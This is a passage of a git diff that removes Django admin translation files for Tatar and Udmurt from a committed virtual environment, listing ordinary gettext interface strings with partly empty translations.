id" -msgstr "объект идентификаторы" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "объект фаразы" - -msgid "action flag" -msgstr "гамәл тибы" - -msgid "change message" -msgstr "үзгәрү белдерүе" - -msgid "log entry" -msgstr "журнал язмасы" - -msgid "log entries" -msgstr "журнал язмалары" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "һәм" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "Үзгәртелгән кырлар юк." - -msgid "None" -msgstr "Юк" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Элементар өстеннән гамәл кылу өчен алар сайланган булырга тиеш. Элементлар " -"үзгәртелмәгән." - -msgid "No action selected." -msgstr "Гамәл сайланмаган." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "%(name)s \"%(obj)s\" уңышлы рәвештә бетерелгән." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "%s өстәргә" - -#, python-format -msgid "Change %s" -msgstr "%s үзгәртергә" - -msgid "Database error" -msgstr "Бирелмәләр базасы хатасы" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s уңышлы рәвештә үзгәртелгән." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s сайланган" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Барлык %(cnt)s объектан 0 сайланган" - -#, python-format -msgid "Change history: %s" -msgstr "Үзгәртү тарихы: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "Django сайты идарәсе" - -msgid "Django administration" -msgstr "Django идарәсе" - -msgid "Site administration" -msgstr "Сайт идарәсе" - -msgid "Log in" -msgstr "Керергә" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "Сәхифә табылмаган" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Кызганычка каршы, соралган сәхифә табылмады." - -msgid "Home" -msgstr "Башбит" - -msgid "Server error" -msgstr "Сервер хатасы" - -msgid "Server error (500)" -msgstr "Сервер хатасы (500)" - -msgid "Server Error (500)" -msgstr "Сервер хатасы (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Сайланган гамәлне башкарырга" - -msgid "Go" -msgstr "Башкарырга" - -msgid "Click here to select the objects across all pages" -msgstr "Барлык сәхифәләрдә булган объектларны сайлау өчен монда чирттерегез" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Бөтен %(total_count)s %(module_name)s сайларга" - -msgid "Clear selection" -msgstr "Сайланганлыкны алырга" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Баштан логин һәм серсүзне кертегез. Аннан соң сез кулланучы турында күбрәк " -"мәгълүматне төзәтә алырсыз." - -msgid "Enter a username and password." -msgstr "Логин һәм серсүзне кертегез." - -msgid "Change password" -msgstr "Серсүзне үзгәртергә" - -msgid "Please correct the error below." -msgstr "Зинһар, биредәге хаталарны төзәтегез." - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s кулланучы өчен яңа серсүзне кертегез." - -msgid "Welcome," -msgstr "Рәхим итегез," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Документация" - -msgid "Log out" -msgstr "Чыгарга" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s өстәргә" - -msgid "History" -msgstr "Тарих" - -msgid "View on site" -msgstr "Сайтта карарга" - -msgid "Filter" -msgstr "Филтер" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "Бетерергә" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' бетереүе аның белән бәйләнгән " -"объектларның бетерелүенә китерә ала, әмма сезнең хисап язмагызның киләсе " -"объект тибларын бетерү өчен хокуклары җитми:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s' бетерүе киләсе сакланган объектларның " -"бетерелүен таләп итә:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Сез инанып %(object_name)s \"%(escaped_object)s\" бетерергә телисезме? " -"Барлык киләсе бәйләнгән объектлар да бетерелер:" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "Әйе, мин инандым" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "Берничә объектны бетерергә" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Сайланган %(objects_name)s бетерүе аның белән бәйләнгән объектларның " -"бетерелүенә китерә ала, әмма сезнең хисап язмагызның киләсе объект тибларын " -"бетерү өчен хокуклары җитми:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"%(objects_name)s бетерүе киләсе аның белән бәйләнгән сакланган объектларның " -"бетерелүен таләп итә:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Сез инанып %(objects_name)s бетерергә телисезме? Барлык киләсе объектлар һәм " -"алар белән бәйләнгән элементлар да бетерелер:" - -msgid "Change" -msgstr "Үзгәртергә" - -msgid "Delete?" -msgstr "Бетерергә?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s буенча" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "Өстәргә" - -msgid "You don't have permission to edit anything." -msgstr "Төзәтү өчен хокукларыгыз җитми." - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "Тарих юк" - -msgid "Unknown content" -msgstr "Билгесез тип" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Сезнең бирелмәләр базасы дөрес итем көйләнмәгән. Тиешле җәдвәлләр төзелгәнен " -"һәм тиешле кулланучының хокуклары җитәрлек булуын тикшерегез." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "Көн һәм вакыт" - -msgid "User" -msgstr "Кулланучы" - -msgid "Action" -msgstr "Гамәл" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Әлеге объектның үзгәртү тарихы юк. Бу идарә итү сайты буенча өстәлмәгән " -"булуы ихтимал." - -msgid "Show all" -msgstr "Бөтенесен күрсәтергә" - -msgid "Save" -msgstr "Сакларга" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "Эзләргә" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s нәтиҗә" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "барлыгы %(full_result_count)s" - -msgid "Save as new" -msgstr "Яңа объект итеп сакларга" - -msgid "Save and add another" -msgstr "Сакларга һәм бүтән объектны өстәргә" - -msgid "Save and continue editing" -msgstr "Сакларга һәм төзәтүне дәвам итәргә" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Сайтыбызда үткәргән вакыт өчен рәхмәт." - -msgid "Log in again" -msgstr "Тагын керергә" - -msgid "Password change" -msgstr "Серсүзне үзгәртү" - -msgid "Your password was changed." -msgstr "Серсүзегез үзгәртелгән." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Хәвефсезлек сәбәпле, зинһар, үзегезнең иске серсүзне кертегез, аннан яңа " -"серсүзне ике тапкыр кертегез (дөрес язылышын тикшерү өчен)." - -msgid "Change my password" -msgstr "Серсүземне үзгәртергә" - -msgid "Password reset" -msgstr "Серсүзне торгызу" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Серсүзегез үзгәртелгән. Сез хәзер керә аласыз." - -msgid "Password reset confirmation" -msgstr "Серсүзне торгызу раслау" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "Зинһар, тикшерү өчен яңа серсүзегезне ике тапкыр кертегез." - -msgid "New password:" -msgstr "Яңа серсуз:" - -msgid "Confirm password:" -msgstr "Серсүзне раслагыз:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Серсүзне торгызу өчен сылтама хаталы. Бәлки аның белән инде кулланганнар. " -"Зинһар, серсүзне тагын бер тапкыр торгызып карагыз." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "Зинһар, бу сәхифәгә юнәлегез һәм яңа серсүзне кертегез:" - -msgid "Your username, in case you've forgotten:" -msgstr "Сезнең кулланучы исемегез (оныткан булсагыз):" - -msgid "Thanks for using our site!" -msgstr "Безнең сайтны куллану өчен рәхмәт!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s сайтының төркеме" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "Эл. почта адресы:" - -msgid "Reset my password" -msgstr "Серсүземне торгызырга" - -msgid "All dates" -msgstr "Бөтен көннәр" - -#, python-format -msgid "Select %s" -msgstr "%s сайлагыз" - -#, python-format -msgid "Select %s to change" -msgstr "Үзгәртү өчен %s сайлагыз" - -msgid "Date:" -msgstr "Көн:" - -msgid "Time:" -msgstr "Вакыт:" - -msgid "Lookup" -msgstr "Эзләү" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 16af5a02..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/djangojs.po deleted file mode 100644 index 36e7c72e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/tt/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,208 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Azat Khasanshin , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Tatar (http://www.transifex.com/django/django/language/tt/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: tt\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "Рөхсәт ителгән %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "Фильтр" - -msgid "Choose all" -msgstr "Барысын сайларга" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "Бетерергә" - -#, javascript-format -msgid "Chosen %s" -msgstr "Сайланган %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(cnt)s арасыннан %(sel)s сайланган" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Кайбер кырларда сакланмаган төзәтүләр кала. Сез гамәлне башкарсагыз, сезнең " -"сакланмаган үзгәртүләр югалачаклар." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Сез гамәлне сайладыгыз, әмма кайбер кырлардагы төзәтүләрне сакламадыгыз. " -"Аларны саклау өчен OK төймәсенә басыгыз. Аннан соң гамәлне тагын бер тапкыр " -"башкарырга туры килер." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Сез гамәлне сайладыгыз һәм төзәтүләрне башкармадыгыз. Бәлки сез \"Сакларга\" " -"төймәсе урынына \"Башкарырга\" төймәсен кулланырга теләдегез." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" - -msgid "Now" -msgstr "Хәзер" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Вакыт сайлагыз" - -msgid "Midnight" -msgstr "Төн уртасы" - -msgid "6 a.m." -msgstr "Иртәнге 6" - -msgid "Noon" -msgstr "Төш" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "Юкка чыгарырга" - -msgid "Today" -msgstr "Бүген" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Кичә" - -msgid "Tomorrow" -msgstr "Иртәгә" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Күрсәтергә" - -msgid "Hide" -msgstr "Яшерергә" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/django.mo deleted file mode 100644 index d51b11a4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/django.po deleted file mode 100644 index df03f5f7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/django.po +++ /dev/null @@ -1,606 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2015-01-17 11:07+0100\n" -"PO-Revision-Date: 2015-01-18 08:31+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Udmurt (http://www.transifex.com/projects/p/django/language/" -"udm/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: udm\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "" - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "" - -msgid "Yes" -msgstr "Бен" - -msgid "No" -msgstr "" - -msgid "Unknown" -msgstr "Тодымтэ" - -msgid "Any date" -msgstr "" - -msgid "Today" -msgstr "" - -msgid "Past 7 days" -msgstr "" - -msgid "This month" -msgstr "" - -msgid "This year" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "" - -msgid "action time" -msgstr "" - -msgid "object id" -msgstr "" - -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "" - -msgid "change message" -msgstr "" - -msgid "log entry" -msgstr "" - -msgid "log entries" -msgstr "" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -msgid "None" -msgstr "" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-format -msgid "Changed %s." -msgstr "" - -msgid "and" -msgstr "" - -#, python-format -msgid "Added %(name)s \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed %(list)s for %(name)s \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Deleted %(name)s \"%(object)s\"." -msgstr "" - -msgid "No fields changed." -msgstr "" - -#, python-format -msgid "" -"The %(name)s \"%(obj)s\" was added successfully. You may edit it again below." -msgstr "" - -#, python-format -msgid "" -"The %(name)s \"%(obj)s\" was added successfully. You may add another " -"%(name)s below." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was added successfully." -msgstr "" - -#, python-format -msgid "" -"The %(name)s \"%(obj)s\" was changed successfully. You may edit it again " -"below." -msgstr "" - -#, python-format -msgid "" -"The %(name)s \"%(obj)s\" was changed successfully. You may add another " -"%(name)s below." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" - -msgid "No action selected." -msgstr "" - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s object with primary key %(key)r does not exist." -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "" - -#, python-format -msgid "Change %s" -msgstr "" - -msgid "Database error" -msgstr "" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -#, python-format -msgid "Change history: %s" -msgstr "" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "" - -msgid "Django administration" -msgstr "" - -msgid "Site administration" -msgstr "" - -msgid "Log in" -msgstr "" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "" - -msgid "We're sorry, but the requested page could not be found." -msgstr "" - -msgid "Home" -msgstr "" - -msgid "Server error" -msgstr "" - -msgid "Server error (500)" -msgstr "" - -msgid "Server Error (500)" -msgstr "" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "" - -msgid "Go" -msgstr "" - -msgid "Click here to select the objects across all pages" -msgstr "" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "" - -msgid "Clear selection" -msgstr "" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" - -msgid "Welcome," -msgstr "" - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "" - -msgid "Log out" -msgstr "" - -msgid "Add" -msgstr "" - -msgid "History" -msgstr "" - -msgid "View on site" -msgstr "" - -#, python-format -msgid "Add %(name)s" -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "Ӵушоно" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "Тупатъяно" - -msgid "Remove" -msgstr "" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "" - -msgid "Delete?" -msgstr "" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "You don't have permission to edit anything." -msgstr "" - -msgid "Recent Actions" -msgstr "" - -msgid "My Actions" -msgstr "" - -msgid "None available" -msgstr "" - -msgid "Unknown content" -msgstr "" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "" - -msgid "User" -msgstr "" - -msgid "Action" -msgstr "" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "" - -msgid "Save" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "" - -msgid "Save and add another" -msgstr "" - -msgid "Save and continue editing" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "" - -msgid "Log in again" -msgstr "" - -msgid "Password change" -msgstr "" - -msgid "Your password was changed." -msgstr "" - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "" - -msgid "Password reset" -msgstr "" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "" - -msgid "Confirm password:" -msgstr "" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "" - -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "" - -msgid "All dates" -msgstr "" - -msgid "(None)" -msgstr "" - -#, python-format -msgid "Select %s" -msgstr "" - -#, python-format -msgid "Select %s to change" -msgstr "" - -msgid "Date:" -msgstr "" - -msgid "Time:" -msgstr "" - -msgid "Lookup" -msgstr "" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/djangojs.mo deleted file mode 100644 index af7ab53b..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/djangojs.po deleted file mode 100644 index e3826f0c..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/udm/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,142 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2015-01-17 11:07+0100\n" -"PO-Revision-Date: 2014-10-05 20:13+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Udmurt (http://www.transifex.com/projects/p/django/language/" -"udm/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: udm\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Choose all" -msgstr "" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural 